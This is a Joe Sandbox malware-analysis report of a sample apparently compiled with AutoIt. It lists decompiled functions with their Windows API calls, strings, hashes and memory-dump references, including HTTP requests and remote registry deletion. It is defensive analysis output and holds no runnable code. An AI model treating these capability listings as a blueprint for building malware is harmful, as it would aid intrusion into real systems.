Function 00A7833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A7835A
_wcslen.LIBCMT ref: 00A7836E
_wcslen.LIBCMT ref: 00A78391
_wcslen.LIBCMT ref: 00A783B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00A783F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,00A75BF2), ref: 00A7844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A78487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00A784CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00A78501
FreeLibrary.KERNEL32(?), ref: 00A7850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00A7851D
DestroyIcon.USER32(?,?,?,?,?,00A75BF2), ref: 00A7852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00A78549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00A78555

Strings

.exe, xrefs: 00A78388
.icl, xrefs: 00A78368
.dll, xrefs: 00A783AB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 2ff4c4f8795f273142b90d72ea9e77f0c024db0be94a704224b937bcfa0ae47f
Instruction ID: ec2af1637f89374f50d3bdd471c464322bd224e65b89ab66406c05f925fa066b
Opcode Fuzzy Hash: 2ff4c4f8795f273142b90d72ea9e77f0c024db0be94a704224b937bcfa0ae47f
Instruction Fuzzy Hash: 8A61D2B1580619BAEB14DF64DC49BBF77A8BB08B21F10C509F919D60D1DFB8A981C7A0

Function 009E7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 009E77E7
#requireadmin, xrefs: 009E77FF
#ce, xrefs: 009E78ED
Unterminated group of comments, xrefs: 00A2528C
#include, xrefs: 009E7847
Bad directive syntax error, xrefs: 00A2519A
#cs, xrefs: 009E7873, 009E78C5
#comments-start, xrefs: 009E785F, 009E78B1
#include-once, xrefs: 009E782F
#comments-end, xrefs: 009E78D9
#OnAutoItStartRegister, xrefs: 009E7817
", xrefs: 00A25153
Cannot parse #include, xrefs: 00A25279
#pragma compile, xrefs: 009E77D3
', xrefs: 00A25169

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 4f11d857f05ea9d11c9ad4fcd987f66fb7db3f013bf6f37c65a54d24461e57c9
Instruction ID: a8c39f7eb94877ddba52ad53f69b47b993a034b34f47c0df42d0336b16f5354a
Opcode Fuzzy Hash: 4f11d857f05ea9d11c9ad4fcd987f66fb7db3f013bf6f37c65a54d24461e57c9
Instruction Fuzzy Hash: 6A811770A00215BBDB22AFA5DD42FBF7768BF55300F048424F908AA1D2EB75DE51C7A2

Function 00A45A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00A45A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00A45A40
SetWindowTextW.USER32(?,?), ref: 00A45A57
GetDlgItem.USER32(?,000003EA), ref: 00A45A6C
SetWindowTextW.USER32(00000000,?), ref: 00A45A72
GetDlgItem.USER32(?,000003E9), ref: 00A45A82
SetWindowTextW.USER32(00000000,?), ref: 00A45A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00A45AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00A45AC3
GetWindowRect.USER32(?,?), ref: 00A45ACC
_wcslen.LIBCMT ref: 00A45B33
SetWindowTextW.USER32(?,?), ref: 00A45B6F
GetDesktopWindow.USER32 ref: 00A45B75
GetWindowRect.USER32(00000000), ref: 00A45B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00A45BD3
GetClientRect.USER32(?,?), ref: 00A45BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00A45C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00A45C2F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 336623dce4c04fcc70803a4a504ecaac796f709e929cb1fea8fc023f86504a38
Instruction ID: 409717f6162391f1971e7348a80d89a36cf94bbe1d7002ce437214f46efd16d0
Opcode Fuzzy Hash: 336623dce4c04fcc70803a4a504ecaac796f709e929cb1fea8fc023f86504a38
Instruction Fuzzy Hash: 10718D35900B09AFDB20DFB8CE89A6EBBF5FF88714F10452CE546A25A1E775E941CB10

Function 00A000C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00A000C6

Part of subcall function 00A000ED: InitializeCriticalSectionAndSpinCount.KERNEL32(00AB070C,00000FA0,8D30859A,?,?,?,?,00A223B3,000000FF), ref: 00A0011C
Part of subcall function 00A000ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00A223B3,000000FF), ref: 00A00127
Part of subcall function 00A000ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00A223B3,000000FF), ref: 00A00138
Part of subcall function 00A000ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00A0014E
Part of subcall function 00A000ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00A0015C
Part of subcall function 00A000ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00A0016A
Part of subcall function 00A000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A00195
Part of subcall function 00A000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00A001A0

___scrt_fastfail.LIBCMT ref: 00A000E7

Part of subcall function 00A000A3: __onexit.LIBCMT ref: 00A000A9

Strings

SleepConditionVariableCS, xrefs: 00A00154
kernel32.dll, xrefs: 00A00133
InitializeConditionVariable, xrefs: 00A00148
WakeAllConditionVariable, xrefs: 00A00162
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00A00122

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 36d7107bc625d090b9a9f34b1e4194e641b4ee8ddf2a390e288a493e9ddfc801
Instruction ID: 2dbcb33a4a9d167f9f8245fdaec34cca99f539bb3c8796b5586175609d58df15
Opcode Fuzzy Hash: 36d7107bc625d090b9a9f34b1e4194e641b4ee8ddf2a390e288a493e9ddfc801
Instruction Fuzzy Hash: E221F9326447147FE7209BF4BC09F6A7394FB45F61F00863AF909A76D2DF7098418A90

Function 00A430F7 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A4318D
_wcslen.LIBCMT ref: 00A431F8

Strings

REGEXPCLASS, xrefs: 00A43255, 00A43266
CLASSNN, xrefs: 00A431F3, 00A43204
CLASS, xrefs: 00A43188, 00A431A5
TEXT, xrefs: 00A4347C
INSTANCE, xrefs: 00A43453
NAME, xrefs: 00A43335, 00A43346

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: 29316e004841237616a2bc8c54f94aeaccfcd72f3ceeb188839c264281d4566d
Instruction ID: 308799b579efe6752cf7649fa3a5a9a3e7f2eed2d02973f9dfa4d58ea2f308dd
Opcode Fuzzy Hash: 29316e004841237616a2bc8c54f94aeaccfcd72f3ceeb188839c264281d4566d
Instruction Fuzzy Hash: 2BE1E437A00516AFCF18DFB8C8517EEBBB0BF94750F548129E556E7280DB70AE8587A0

Function 00A544C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00A7CC08), ref: 00A54527
_wcslen.LIBCMT ref: 00A5453B
_wcslen.LIBCMT ref: 00A54599
_wcslen.LIBCMT ref: 00A545F4
_wcslen.LIBCMT ref: 00A5463F
_wcslen.LIBCMT ref: 00A546A7

Part of subcall function 009FF9F2: _wcslen.LIBCMT ref: 009FF9FD

GetDriveTypeW.KERNEL32(?,00AA6BF0,00000061), ref: 00A54743

Strings

ramdisk, xrefs: 00A546F1
cdrom, xrefs: 00A5458F, 00A54594
removable, xrefs: 00A545EA, 00A545EF
fixed, xrefs: 00A54635, 00A5463A
all, xrefs: 00A54531, 00A54536
unknown, xrefs: 00A54708
network, xrefs: 00A5469D, 00A546A2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 2f440d56c0f5a204368a86838e132efec8421022a41a7e07b4106275e90b7402
Instruction ID: 85084e01831c68e135114791b21ab7bb1f45138d8b90d92d19efe262f43b23b4
Opcode Fuzzy Hash: 2f440d56c0f5a204368a86838e132efec8421022a41a7e07b4106275e90b7402
Instruction Fuzzy Hash: F4B1E2716083029FC710DF28C890A6AB7E5BFE9769F50491DF896C7291E730DC89CB62

Function 009E326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00AB1990), ref: 00A22F8D
GetMenuItemCount.USER32(00AB1990), ref: 00A2303D
GetCursorPos.USER32(?), ref: 00A23081
SetForegroundWindow.USER32(00000000), ref: 00A2308A
TrackPopupMenuEx.USER32(00AB1990,00000000,?,00000000,00000000,00000000), ref: 00A2309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00A230A9

Strings

0, xrefs: 009E327D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: d3fa8b97905fb0f7051039fad4ea6211bfd94b527a969f9c1697629f1bd984b4
Instruction ID: 67780a49162922cf4d318de1a4e101249212e78104096e0b38ddf3ecf956fee3
Opcode Fuzzy Hash: d3fa8b97905fb0f7051039fad4ea6211bfd94b527a969f9c1697629f1bd984b4
Instruction Fuzzy Hash: 04714C31644215BEEB21CF69DD89FAABF74FF05324F208216F6246A1E0C7B1AD50D750

Function 00A76CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00A76DEB

Part of subcall function 009E6B57: _wcslen.LIBCMT ref: 009E6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00A76E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00A76E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A76E94
DestroyWindow.USER32(?), ref: 00A76EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,009E0000,00000000), ref: 00A76EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00A76EFD
GetDesktopWindow.USER32 ref: 00A76F16
GetWindowRect.USER32(00000000), ref: 00A76F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00A76F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00A76F4D

Part of subcall function 009F9944: GetWindowLongW.USER32(?,000000EB), ref: 009F9952

Strings

0, xrefs: 00A76D98
tooltips_class32, xrefs: 00A76E58, 00A76EDD

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 2fd60df491f18b2a9ce0b491745e4cc21aee417c795df5323baa8a83cc44f2dc
Instruction ID: b45f123d66797f719982823cdac3019b602fad464bb75dd3aaad288d534440d4
Opcode Fuzzy Hash: 2fd60df491f18b2a9ce0b491745e4cc21aee417c795df5323baa8a83cc44f2dc
Instruction Fuzzy Hash: 7C718970104640AFDB21DF68DC54FAABBF9FB89304F54852DF98987262C774E94ACB11

Function 00A7911E Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

DragQueryPoint.SHELL32(?,?), ref: 00A79147

Part of subcall function 00A77674: ClientToScreen.USER32(?,?), ref: 00A7769A
Part of subcall function 00A77674: GetWindowRect.USER32(?,?), ref: 00A77710
Part of subcall function 00A77674: PtInRect.USER32(?,?,00A78B89), ref: 00A77720

SendMessageW.USER32(?,000000B0,?,?), ref: 00A791B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00A791BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00A791DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00A79225
SendMessageW.USER32(?,000000B0,?,?), ref: 00A7923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00A79255
SendMessageW.USER32(?,000000B1,?,?), ref: 00A79277
DragFinish.SHELL32(?), ref: 00A7927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00A79371

Strings

@GUI_DRAGID, xrefs: 00A792E9
@GUI_DRAGFILE, xrefs: 00A79320
@GUI_DROPID, xrefs: 00A7929E

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: f00c9fdaaca2e2303e04c5752041a0eb587ce6e422024626d57e9f7f0b5dcc17
Instruction ID: 907b2aa57eccb12a059d3736a326e9c4476154f30f535fb1ff8cee7a16112510
Opcode Fuzzy Hash: f00c9fdaaca2e2303e04c5752041a0eb587ce6e422024626d57e9f7f0b5dcc17
Instruction Fuzzy Hash: 7B616B71108341AFC701EFA5DC85EAFBBE8EFC9750F40891EF599921A1DB309A49CB52

Function 00A5C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00A5C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A5C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A5C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00A5C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00A5C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00A5C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A5C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A5C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00A5C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00A5C5F0
InternetCloseHandle.WININET(00000000), ref: 00A5C5FB

Strings

, xrefs: 00A5C575

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: fbbf16e276d3bdbb37d24b18d3bc0476b24f2c33946b3df6758b7a58d35d21bb
Instruction ID: 043a5add842b58b53103d5ef8c3799adb3d53fdde8239315618256fadb35abd7
Opcode Fuzzy Hash: fbbf16e276d3bdbb37d24b18d3bc0476b24f2c33946b3df6758b7a58d35d21bb
Instruction Fuzzy Hash: 50513DB1540304BFDB21DFA4CD88AAB7BBCFB08765F00841DF94696255EB34EA49DB60

Function 00A7856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00A78592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785BA
GlobalLock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785D7
GlobalUnlock.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 00A785F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,00A7FC38,?), ref: 00A78611
GlobalFree.KERNEL32(00000000), ref: 00A78621
GetObjectW.GDI32(?,00000018,?), ref: 00A78641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00A78671
DeleteObject.GDI32(?), ref: 00A78699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00A786AF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 2229170d9d6df912015f21bd208a02ad65aa808618995ab52d71b5e5bb1e2066
Instruction ID: c474742ecc14f59dfe16a753ed41821752efd0333186e7d0b60de589e968d430
Opcode Fuzzy Hash: 2229170d9d6df912015f21bd208a02ad65aa808618995ab52d71b5e5bb1e2066
Instruction Fuzzy Hash: 39410875640205BFDB11DFA5CC8CEAA7BB8EF89B21F10C158F909E7260DB349942CB60

Function 00A514BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00A51502
VariantCopy.OLEAUT32(?,?), ref: 00A5150B
VariantClear.OLEAUT32(?), ref: 00A51517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00A515FB
VarR8FromDec.OLEAUT32(?,?), ref: 00A51657
VariantInit.OLEAUT32(?), ref: 00A51708
SysFreeString.OLEAUT32(?), ref: 00A5178C
VariantClear.OLEAUT32(?), ref: 00A517D8
VariantClear.OLEAUT32(?), ref: 00A517E7
VariantInit.OLEAUT32(00000000), ref: 00A51823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00A51625
Default, xrefs: 00A516AF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 9c59414970eb2c7d918fb751c3396b2133ed51596a215c600793ba5a01188c10
Instruction ID: e6b7543b6ef9d9ff9e69082bce9feb15b7482a479a92b96cd6be96b1fc9c9755
Opcode Fuzzy Hash: 9c59414970eb2c7d918fb751c3396b2133ed51596a215c600793ba5a01188c10
Instruction Fuzzy Hash: D8D12471A00115EBDB10EF65E889B7DB7B5BF84702F10845AFC4AAB190EB34EC49DB61

Function 00A6B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Part of subcall function 00A6C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00A6B6AE,?,?), ref: 00A6C9B5
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6C9F1
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA68
Part of subcall function 00A6C998: _wcslen.LIBCMT ref: 00A6CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00A6B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00A6B772
RegDeleteValueW.ADVAPI32(?,?), ref: 00A6B80A
RegCloseKey.ADVAPI32(?), ref: 00A6B87E
